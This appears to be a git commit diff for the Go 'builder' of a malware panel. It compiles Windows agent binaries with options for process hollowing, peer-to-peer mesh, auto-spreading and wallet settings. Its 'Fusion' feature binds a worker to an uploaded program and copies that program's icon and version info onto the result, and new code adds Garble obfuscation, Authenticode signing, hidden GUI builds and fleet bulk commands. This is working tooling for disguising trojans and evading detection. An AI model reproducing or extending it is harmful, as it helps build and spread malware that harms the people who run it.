Add forge pipeline polish, simple forge UX, and fleet management upgrades.

Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
drjones
2026-05-28 21:48:20 -07:00
parent fda72041f0
commit c95a4373de
45 changed files with 2282 additions and 272 deletions

View File

@@ -0,0 +1,62 @@
package builder
import (
"fmt"
"log"
"os"
"os/exec"
"strings"
)
func (h *Handler) buildTagsFor(req *BuildRequest) []string {
var tags []string
if req.ProcessHollowing {
tags = append(tags, "hollow")
}
if req.MeshP2P {
tags = append(tags, "p2p")
}
return tags
}
func (h *Handler) shouldObfuscate(req *BuildRequest) bool {
if req.Obfuscate {
return true
}
return h.policy.DefaultObfuscate
}
func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
env := append(os.Environ(),
"GOOS=windows",
"GOARCH=amd64",
"CGO_ENABLED=0",
)
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
if len(tags) > 0 {
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
}
buildArgs = append(buildArgs, ".")
useGarble := obfuscate && h.garblePath != ""
if obfuscate && !useGarble {
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
}
var cmd *exec.Cmd
if useGarble {
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
cmd = exec.Command(h.garblePath, garbleArgs...)
} else {
cmd = exec.Command(h.goBinPath, buildArgs...)
}
cmd.Dir = dir
cmd.Env = env
out, err := cmd.CombinedOutput()
if err != nil {
return out, fmt.Errorf("compile failed: %s", strings.TrimSpace(string(out)))
}
return out, nil
}

View File

@@ -0,0 +1,129 @@
package builder
import (
"fmt"
"path/filepath"
"strings"
)
const (
defaultWorkerBytes int64 = 12 * 1024 * 1024
defaultFusionStubBytes int64 = 2_500_000
resourcePatchOverhead int64 = 150_000
)
type FusionEstimateResponse struct {
PrepBytes int64 `json:"prep_bytes"`
PrepName string `json:"prep_name"`
EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"`
EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"`
EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"`
EstimatedTotalBytes int64 `json:"estimated_total_bytes"`
OutputFileName string `json:"output_file_name"`
ProjectRootPath string `json:"project_root_path"`
ArchivePathHint string `json:"archive_path_hint"`
ExportPath string `json:"export_path,omitempty"`
Obfuscate bool `json:"obfuscate"`
SignBuild bool `json:"sign_build"`
Notes []string `json:"notes"`
}
func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSize int64, prepName string) FusionEstimateResponse {
outputName := req.FusionOutputName
if outputName == "" {
outputName = prepName
}
if outputName == "" {
outputName = "prep.exe"
}
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
outputName += ".exe"
}
outputName = sanitizeFileName(outputName)
workerBytes := h.estimateWorkerBytes()
stubBytes := defaultFusionStubBytes
total := prepSize + workerBytes + stubBytes + resourcePatchOverhead
root := h.projectRoot
if root == "" || root == "." {
root, _ = filepath.Abs(".")
}
projectOut := filepath.Join(root, outputName)
resp := FusionEstimateResponse{
PrepBytes: prepSize,
PrepName: prepName,
EstimatedWorkerBytes: workerBytes,
EstimatedFusionStubBytes: stubBytes,
EstimatedResourcePatchBytes: resourcePatchOverhead,
EstimatedTotalBytes: total,
OutputFileName: outputName,
ProjectRootPath: projectOut,
ArchivePathHint: filepath.Join(h.dataDir, "builds", "<build-id>", outputName),
Obfuscate: h.shouldObfuscate(req),
SignBuild: req.SignBuild,
Notes: []string{
fmt.Sprintf("Prep: %s", formatBytes(prepSize)),
fmt.Sprintf("Estimated worker: %s (from recent builds or default)", formatBytes(workerBytes)),
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
"Final size may differ slightly after icon + version info patch.",
},
}
if strings.TrimSpace(req.OutputDir) != "" {
clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
if clean != "." && !strings.HasPrefix(clean, "..") && !filepath.IsAbs(clean) {
resp.ExportPath = filepath.Join(root, clean, outputName)
resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", resp.ExportPath))
}
}
if h.shouldObfuscate(req) && h.garblePath == "" {
resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (run.bat installs it).")
}
if req.SignBuild && (!h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "") {
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
}
_ = prepPath
return resp
}
func (h *Handler) estimateWorkerBytes() int64 {
if h.db == nil {
return defaultWorkerBytes
}
builds, err := h.db.ListBuilds(40)
if err != nil || len(builds) == 0 {
return defaultWorkerBytes
}
var sum int64
var count int64
for _, b := range builds {
base := strings.ToLower(filepath.Base(b.FilePath))
if strings.HasPrefix(base, "worker-") || strings.HasPrefix(base, "install-") {
if b.FileSize > 0 {
sum += b.FileSize
count++
}
}
}
if count == 0 {
return defaultWorkerBytes
}
return sum / count
}
func formatBytes(n int64) string {
const unit = 1024
if n < unit {
return fmt.Sprintf("%d B", n)
}
div, exp := int64(unit), 0
for v := n / unit; v >= unit; v /= unit {
div *= unit
exp++
}
return fmt.Sprintf("%.2f %cB", float64(n)/float64(div), "KMGTPE"[exp])
}

View File

@@ -0,0 +1,29 @@
package builder
import "testing"
func TestEstimateFusionBuildTotals(t *testing.T) {
h := &Handler{
dataDir: t.TempDir(),
projectRoot: t.TempDir(),
}
req := &BuildRequest{
FusionEnabled: true,
FusionOutputName: "MyApp.exe",
OutputDir: "exports",
Obfuscate: true,
}
got := h.estimateFusionBuild(req, "", 5*1024*1024, "MyApp.exe")
if got.PrepBytes != 5*1024*1024 {
t.Fatalf("prep bytes: got %d", got.PrepBytes)
}
if got.EstimatedTotalBytes <= got.PrepBytes {
t.Fatalf("total should exceed prep: %d", got.EstimatedTotalBytes)
}
if got.OutputFileName != "MyApp.exe" {
t.Fatalf("output name: %s", got.OutputFileName)
}
if got.ExportPath == "" {
t.Fatal("expected export path")
}
}

View File

@@ -2,9 +2,7 @@ package builder
import (
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"strings"
)
@@ -62,21 +60,12 @@ func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrd
}
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
if err := h.prepareFusionWinres(fusionDir, prepPath); err != nil {
log.Printf("[Fusion] icon from prep not applied (fused exe may use default Go icon): %v", err)
}
ldflags := fusionLdflags(prepPath)
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".")
cmd.Dir = fusionDir
cmd.Env = append(os.Environ(),
"GOOS=windows",
"GOARCH=amd64",
"CGO_ENABLED=0",
)
out, err := cmd.CombinedOutput()
if err != nil {
return "", fmt.Errorf("fusion build failed: %s", strings.TrimSpace(string(out)))
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
return "", err
}
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
return "", err
}
return outputPath, nil
}

View File

@@ -65,6 +65,8 @@ type BuildRequest struct {
ProcessHollowing bool `json:"process_hollowing"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
Obfuscate bool `json:"obfuscate"`
SignBuild bool `json:"sign_build"`
}
type BuildResponse struct {
@@ -82,6 +84,8 @@ type BuildResponse struct {
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
FusionEnabled bool `json:"fusion_enabled,omitempty"`
WorkerFile string `json:"worker_file,omitempty"`
Signed bool `json:"signed,omitempty"`
Obfuscated bool `json:"obfuscated,omitempty"`
Error string `json:"error,omitempty"`
}
@@ -91,12 +95,24 @@ type Handler struct {
agentSrcDir string
projectRoot string
goBinPath string
garblePath string
goWinresPath string
serverModDir string
policy BuildPolicy
}
type SignPolicy struct {
Enabled bool `json:"enabled"`
CertThumbprint string `json:"cert_thumbprint"`
ToolPath string `json:"tool_path"`
TimestampURL string `json:"timestamp_url"`
}
type BuildPolicy struct {
StrictWalletValidation bool
MaxBuildSizeMB int
DefaultObfuscate bool
Sign SignPolicy
}
func (h *Handler) SetBuildPolicy(p BuildPolicy) {
@@ -108,13 +124,15 @@ func NewHandler(database *db.Database, dataDir string, agentSrcDir string, proje
if _, err := exec.LookPath("go"); err == nil {
goBin = "go"
}
return &Handler{
h := &Handler{
db: database,
dataDir: dataDir,
agentSrcDir: agentSrcDir,
projectRoot: projectRoot,
goBinPath: goBin,
}
h.resolveToolPaths(projectRoot)
return h
}
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
@@ -198,6 +216,75 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
writeJSON(w, http.StatusOK, resp)
}
func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
var req BuildRequest
var prepPath string
var prepSize int64
var prepName string
var cleanupPrep func()
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(150 << 20); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
return
}
configJSON := r.FormValue("config")
if configJSON == "" {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Missing config field"})
return
}
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid config JSON"})
return
}
file, header, err := r.FormFile("prep_exe")
if err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires prep_exe upload"})
return
}
defer file.Close()
if header != nil {
prepSize = header.Size
prepName = header.Filename
}
saved, remove, err := h.saveUploadedPrep(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
return
}
prepPath = saved
cleanupPrep = remove
} else {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires multipart prep_exe upload"})
return
}
if cleanupPrep != nil {
defer cleanupPrep()
}
if err := h.normalizeRequest(&req); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
return
}
if !req.FusionEnabled {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion must be enabled for estimate"})
return
}
if req.FusionOutputName == "" && prepName != "" {
req.FusionOutputName = prepName
}
est := h.estimateFusionBuild(&req, prepPath, prepSize, prepName)
writeJSON(w, http.StatusOK, est)
}
func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
build, err := h.db.GetBuild(buildID)
@@ -265,18 +352,10 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
ldflags += " -H windowsgui"
}
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".")
cmd.Dir = agentDir
cmd.Env = append(os.Environ(),
"GOOS=windows",
"GOARCH=amd64",
"CGO_ENABLED=0",
)
output, err := cmd.CombinedOutput()
if err != nil {
log.Printf("Build failed: %v\nOutput: %s", err, string(output))
return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, ""
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
log.Printf("Build failed: %v", err)
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
finalPath := outputPath
@@ -313,6 +392,17 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
}
}
signed := false
if h.shouldSignBuild(req) {
if err := h.signExecutable(finalPath); err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
}
signed = true
if exportPath != "" && exportPath != finalPath {
_ = h.signExecutable(exportPath)
}
}
fileInfo, err := os.Stat(finalPath)
if err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
@@ -364,6 +454,8 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
UninstallExportPath: "",
FusionEnabled: fusionEnabled,
WorkerFile: workerName,
Signed: signed,
Obfuscated: obfuscated,
}, http.StatusOK, finalPath
}

View File

@@ -0,0 +1,36 @@
package builder
import (
"encoding/json"
"fmt"
"os"
"path/filepath"
)
func writeIconAndVersionWinresJSON(fullWinresPath string) (string, error) {
data, err := os.ReadFile(fullWinresPath)
if err != nil {
return "", err
}
var doc map[string]json.RawMessage
if err := json.Unmarshal(data, &doc); err != nil {
return "", err
}
icons, ok := doc["RT_GROUP_ICON"]
if !ok || len(icons) == 0 || string(icons) == "null" {
return "", fmt.Errorf("prep exe has no RT_GROUP_ICON resources")
}
outDoc := map[string]json.RawMessage{"RT_GROUP_ICON": icons}
if version, hasVersion := doc["RT_VERSION"]; hasVersion && len(version) > 0 && string(version) != "null" {
outDoc["RT_VERSION"] = version
}
out, err := json.MarshalIndent(outDoc, "", " ")
if err != nil {
return "", err
}
outPath := filepath.Join(filepath.Dir(fullWinresPath), "filtered.json")
if err := os.WriteFile(outPath, out, 0644); err != nil {
return "", err
}
return outPath, nil
}

View File

@@ -2,10 +2,16 @@
package builder
import "fmt"
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
return nil
}
func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error {
return fmt.Errorf("fusion resource embedding requires building on Windows")
}
func fusionLdflags(prepPath string) string {
return "-s -w -H windowsgui"
}

View File

@@ -0,0 +1,36 @@
package builder
import (
"os"
"path/filepath"
"strings"
"testing"
)
func TestWriteIconAndVersionWinresJSON(t *testing.T) {
dir := t.TempDir()
full := filepath.Join(dir, "winres.json")
if err := os.WriteFile(full, []byte(`{
"RT_GROUP_ICON": {
"#1": { "0409": "a.ico" }
},
"RT_VERSION": { "#1": { "0409": {} } }
}`), 0644); err != nil {
t.Fatal(err)
}
out, err := writeIconAndVersionWinresJSON(full)
if err != nil {
t.Fatal(err)
}
raw, err := os.ReadFile(out)
if err != nil {
t.Fatal(err)
}
s := string(raw)
if !strings.Contains(s, "RT_GROUP_ICON") || !strings.Contains(s, "a.ico") {
t.Fatalf("unexpected icons-only json: %s", raw)
}
if !strings.Contains(s, "RT_VERSION") {
t.Fatalf("version info should be preserved: %s", raw)
}
}

View File

@@ -3,6 +3,7 @@
package builder
import (
"encoding/json"
"fmt"
"log"
"os"
@@ -11,6 +12,77 @@ import (
"strings"
)
// applyPrepResourcesToEXE copies icon + version info from prepPath onto exePath (post-build).
func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error {
if err := h.patchEXEResourcesFromPrepExtract(prepPath, exePath); err == nil {
log.Printf("[Fusion] Applied icon + version info from %s", filepath.Base(prepPath))
return nil
} else {
log.Printf("[Fusion] resource extract/patch failed, trying icon fallback: %v", err)
}
if err := h.patchEXEWithExtractedICO(prepPath, exePath); err == nil {
log.Printf("[Fusion] Applied icon from %s (fallback ico)", filepath.Base(prepPath))
return nil
}
return fmt.Errorf("could not copy icon/resources from prep exe")
}
func (h *Handler) patchEXEResourcesFromPrepExtract(prepPath, exePath string) error {
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-resources-*")
if err != nil {
return err
}
defer os.RemoveAll(workDir)
if _, err := h.runGoWinres("", "extract", "--dir", workDir, prepPath); err != nil {
return err
}
filteredJSON, err := writeIconAndVersionWinresJSON(filepath.Join(workDir, "winres.json"))
if err != nil {
return err
}
if _, err := h.runGoWinres(filepath.Dir(filteredJSON), "patch", "--in", filteredJSON, "--no-backup", exePath); err != nil {
return err
}
return nil
}
func (h *Handler) patchEXEWithExtractedICO(prepPath, exePath string) error {
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-ico-*")
if err != nil {
return err
}
defer os.RemoveAll(workDir)
iconPath := filepath.Join(workDir, "prep-icon.ico")
if err := extractIconFromEXE(prepPath, iconPath); err != nil {
return err
}
doc := map[string]any{
"RT_GROUP_ICON": map[string]any{
"APP": map[string]any{
"0409": "prep-icon.ico",
},
},
}
jsonPath := filepath.Join(workDir, "icons-only.json")
raw, err := json.MarshalIndent(doc, "", " ")
if err != nil {
return err
}
if err := os.WriteFile(jsonPath, raw, 0644); err != nil {
return err
}
if _, err := h.runGoWinres(workDir, "patch", "--in", jsonPath, "--no-backup", exePath); err != nil {
return err
}
return nil
}
// extractIconFromEXE writes the primary icon from a Windows PE file to a .ico path.
func extractIconFromEXE(exePath, icoPath string) error {
exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
@@ -37,34 +109,10 @@ $fs.Close()
return nil
}
// prepareFusionWinres generates rsrc_windows_amd64.syso so the fused launcher uses prep's icon.
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
iconPath := filepath.Join(fusionDir, "prep-icon.ico")
if err := extractIconFromEXE(prepPath, iconPath); err != nil {
return err
}
productName := strings.TrimSuffix(filepath.Base(prepPath), filepath.Ext(prepPath))
cmd := exec.Command(
"go", "run", "github.com/tc-hib/go-winres@v0.3.1",
"make",
"--arch", "amd64",
"--in", fusionDir,
"--icon", iconPath,
"--file-description", productName,
"--product-name", productName,
"--original-filename", filepath.Base(prepPath),
)
cmd.Dir = fusionDir
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("go-winres: %w (%s)", err, strings.TrimSpace(string(out)))
}
log.Printf("[Fusion] Applied icon from %s", filepath.Base(prepPath))
return nil
}
// peSubsystem returns the Windows PE subsystem id (2=GUI, 3=CUI).
func peSubsystem(exePath string) int {
data, err := os.ReadFile(exePath)
if err != nil || len(data) < 128 {

View File

@@ -0,0 +1,13 @@
//go:build !windows
package builder
import "fmt"
func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
return false
}
func (h *Handler) signExecutable(path string) error {
return fmt.Errorf("code signing requires building on Windows")
}

View File

@@ -0,0 +1,79 @@
//go:build windows
package builder
import (
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"strings"
)
func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
return false
}
return req.SignBuild
}
func (h *Handler) signExecutable(path string) error {
policy := h.policy.Sign
tool := strings.TrimSpace(policy.ToolPath)
if tool == "" {
var err error
tool, err = findSignTool()
if err != nil {
return err
}
}
tsURL := strings.TrimSpace(policy.TimestampURL)
if tsURL == "" {
tsURL = "http://timestamp.digicert.com"
}
args := []string{
"sign",
"/fd", "SHA256",
"/tr", tsURL,
"/td", "SHA256",
"/sha1", strings.TrimSpace(policy.CertThumbprint),
path,
}
cmd := exec.Command(tool, args...)
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("signtool: %w (%s)", err, strings.TrimSpace(string(out)))
}
log.Printf("[Forge] Signed %s", filepath.Base(path))
return nil
}
func findSignTool() (string, error) {
if p, err := exec.LookPath("signtool"); err == nil {
return p, nil
}
if p, err := exec.LookPath("signtool.exe"); err == nil {
return p, nil
}
roots := []string{
os.Getenv("ProgramFiles(x86)"),
os.Getenv("ProgramFiles"),
}
for _, root := range roots {
if root == "" {
continue
}
kits := filepath.Join(root, "Windows Kits", "10", "bin")
matches, _ := filepath.Glob(filepath.Join(kits, "*", "x64", "signtool.exe"))
for i := len(matches) - 1; i >= 0; i-- {
if _, err := os.Stat(matches[i]); err == nil {
return matches[i], nil
}
}
}
return "", fmt.Errorf("signtool.exe not found — install Windows SDK or set sign_tool_path in Calibrate")
}

View File

@@ -0,0 +1,54 @@
package builder
import (
"fmt"
"os/exec"
"path/filepath"
"strings"
)
func (h *Handler) runGoWinres(dir string, args ...string) ([]byte, error) {
if h.goWinresPath != "" {
cmd := exec.Command(h.goWinresPath, args...)
if dir != "" {
cmd.Dir = dir
}
out, err := cmd.CombinedOutput()
if err != nil {
return out, fmt.Errorf("%w (%s)", err, strings.TrimSpace(string(out)))
}
return out, nil
}
modDir := h.serverModDir
if modDir == "" {
modDir = "."
}
cmd := exec.Command(h.goBinPath, append([]string{"run", "github.com/tc-hib/go-winres"}, args...)...)
cmd.Dir = modDir
if dir != "" {
cmd.Dir = dir
}
out, err := cmd.CombinedOutput()
if err != nil {
return out, fmt.Errorf("%w (%s)", err, strings.TrimSpace(string(out)))
}
return out, nil
}
func (h *Handler) resolveToolPaths(projectRoot string) {
if h.goBinPath == "" {
h.goBinPath = "go"
}
if h.serverModDir == "" {
h.serverModDir = filepath.Join(projectRoot, "server")
}
if p, err := exec.LookPath("garble"); err == nil {
h.garblePath = p
}
if p, err := exec.LookPath("go-winres"); err == nil {
h.goWinresPath = p
} else if p, err := exec.LookPath("go-winres.exe"); err == nil {
h.goWinresPath = p
}
}